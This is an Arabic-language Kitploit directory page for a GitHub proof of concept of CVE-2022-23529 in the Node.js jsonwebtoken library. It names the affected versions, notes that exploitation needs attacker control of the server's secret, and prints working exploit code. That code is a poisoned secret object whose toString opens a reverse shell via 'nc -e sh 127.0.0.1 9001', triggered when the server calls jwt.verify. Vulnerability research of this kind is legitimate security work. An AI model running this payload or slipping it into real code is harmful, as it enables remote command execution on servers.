Skip to content
KitploitKITPLOIT
أدواتعمليات الاستغلالالمدونة
Log in
إرسال
أدواتعمليات الاستغلالالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2022-23529-Exploration — استغلال إثبات المفهوم لـ CVE-2022-23529، يوضح تنفيذ تعليمات برمجية عن بُعد في مكتبات JWT الضعيفة عبر كائنات سر HMAC ضارة. | Kitploit
أدوات/GitHubGitHub/daniel-marchi/cve-2022-23529-exploration
تحليل الثغرات الأمنيةالاستغلالأمن الويباختبار الاختراقتطوير الحمولات
GitHubdaniel-marchi/cve-2022-23529-exploration

CVE-2022-23529-Exploration

استغلال إثبات المفهوم لـ CVE-2022-23529، يوضح تنفيذ تعليمات برمجية عن بُعد في مكتبات JWT الضعيفة عبر كائنات سر HMAC ضارة.

عرض المستودع
1منذ 3 سنواتلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2022-23529

مكتبات JSON Web Token (JWT) الإصدارات الأقدم من 3.4.6 و4.0.4 و4.1.5 معرضة لثغرة RCE.

وظائف التجزئة HMAC تقبل أي سلسلة كمدخل مما يؤدي إلى RCE.

بسبب المتطلبات المسبقة، من غير المحتمل استغلال هذه الثغرة.

لاستغلال هذه الثغرة، يحتاج المهاجم إلى توفر أحد الشروط التالية:

  • الخادم لا يخزن المفاتيح السرية بشكل آمن.
  • يحتاج المهاجم إلى الوصول إلى المفاتيح السرية والتحكم بها.

npm install [email protected]

var jwt = require('jsonwebtoken');

إنشاء رمز باستخدام سر الخادم

var token = jwt.sign({"x":"y"}, 'servers_secret');

إنشاء كائن خبيث يحتوي على شل عكسي (node.js)

var poisoned_secret_on_server = { 
    toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
        process.on('exit', ()=> {
            require('child_process').exec('nc -e sh 127.0.0.1 9001');
        });
        process.exit(0)
    }
}

يتحقق الخادم من الرمز باستخدام الكائن الخبيث المخزن كسر

jwt.verify(token, poisoned_secret_on_server);

تنزيل الأداة